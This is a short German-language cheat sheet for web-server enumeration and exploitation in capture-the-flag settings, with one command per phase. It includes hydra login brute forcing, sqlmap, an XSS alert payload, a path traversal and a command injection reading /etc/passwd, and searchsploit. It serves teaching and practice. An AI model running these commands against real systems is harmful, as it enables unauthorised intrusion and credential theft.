Webserver Enumeration & Exploitation Cheat Sheet

Schrittweise Anleitung und Tool-Einsatz für das Testen von Webservern im CTF-Kontext.

Phase: Portscan

Tools: nmap

```
$ nmap -sV -p- <IP>
```

Phase: Webserver-Info

Tools: nikto, whatweb, wappalyzer

```
$ nikto -h http://<IP>
$ whatweb <URL>
```

Phase: Fuzzing

Tools: ffuf, gobuster

```
$ ffuf -u http://<IP>/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

Phase: Login Bruteforce

Tools: hydra

```
$ hydra -L users.txt -P rockyou.txt <IP> http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"
```

Phase: Sessionanalyse

Tools: OWASP ZAP, Burp Suite

```
$ Cookie-Manipulation, Auth-Bypass
```

Phase: SQL Injection

Tools: sqlmap

```
$ sqlmap -u http://<IP>/page.php?id=1 --dbs
```

Phase: XSS

Tools: manuell

```
$ <script>alert(1)</script>
```

Phase: LFI / RFI

Tools: manuell

```
$ ?page=../../../../etc/passwd
```

Phase: Command Injection

Webserver Enumeration & Exploitation Cheat Sheet

Tools: manuell

```
$ ; cat /etc/passwd
```

Phase: CVE-Check

Tools: searchsploit

```
$ searchsploit apache 2.4.18
```

Phase: Flag-Suche

Tools: grep, strings, exiftool

```
$ grep -r flag /var/www/html
```